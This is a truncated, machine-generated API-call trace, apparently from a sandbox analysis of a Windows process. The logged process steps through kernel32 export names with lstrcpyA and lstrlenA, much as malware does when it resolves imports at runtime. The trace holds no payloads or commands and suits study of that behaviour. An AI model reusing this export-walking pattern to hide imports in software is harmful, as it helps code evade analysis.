lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0101.666] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0101.666] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0101.666] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0101.666] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0101.666] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0101.666] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0101.666] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0101.666] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0101.666] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0101.666] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0101.666] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0101.666] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0101.666] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0101.666] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0101.666] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0101.666] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0101.666] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0101.667] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0101.667] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0101.667] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0101.667] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0101.667] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0101.667] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0101.667] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0101.667] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0101.667] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0101.667] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0101.667] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0101.667] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0101.667] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0101.667] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0101.667] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0101.668] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0101.668] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0101.668] lstrlenA (lpString="BEEP") returned 4 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0101.668] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0101.668] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0101.668] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0101.668] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0101.668] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0101.668] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0101.668] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0101.668] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0101.668] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0101.668] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0101.668] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0101.668] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0101.668] lstrlenA (lpString="CANCELIO") returned 8 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0101.669] lstrlenA (lpString="CANCELIOEX") returned 10 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0101.669] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0101.669] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0101.669] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0101.669] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0101.669] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0101.669] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0101.669] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0101.669] lstrlenA (lpString="CHECKELEVATION") returned 14 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0101.669] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0101.669] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0101.669] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0101.669] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0101.669] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0101.669] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0101.670] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0101.670] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0101.670] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0101.670] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0101.670] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0101.670] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0101.670] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0101.670] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0101.670] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0101.670] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0101.670] lstrlenA (lpString="CLOSESTATE") returned 10 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0101.670] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0101.670] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0101.670] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0101.670] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0101.671] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0101.671] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0101.671] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0101.671] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0101.671] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0101.671] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0101.671] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0101.671] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0101.671] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0101.671] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0101.671] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0101.671] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0101.671] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0101.671] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0101.671] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0101.672] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0101.672] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0101.672] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0101.672] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0101.672] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0101.672] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0101.672] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0101.672] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0101.672] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0101.672] lstrlenA (lpString="COPYCONTEXT") returned 11 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0101.672] lstrlenA (lpString="COPYFILE2") returned 9 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0101.672] lstrlenA (lpString="COPYFILEA") returned 9 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0101.672] lstrlenA (lpString="COPYFILEEXA") returned 11 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0101.672] lstrlenA (lpString="COPYFILEEXW") returned 11 [0101.672] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0101.673] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0101.673] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0101.673] lstrlenA (lpString="COPYFILEW") returned 9 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0101.673] lstrlenA (lpString="COPYLZFILE") returned 10 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0101.673] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0101.673] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0101.673] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0101.673] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0101.673] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0101.673] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0101.673] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0101.673] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0101.673] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0101.673] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0101.673] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0101.673] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0101.673] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0101.674] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0101.674] lstrlenA (lpString="CREATEEVENTA") returned 12 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0101.674] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0101.674] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0101.674] lstrlenA (lpString="CREATEEVENTW") returned 12 [0101.674] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0101.674] lstrlenA 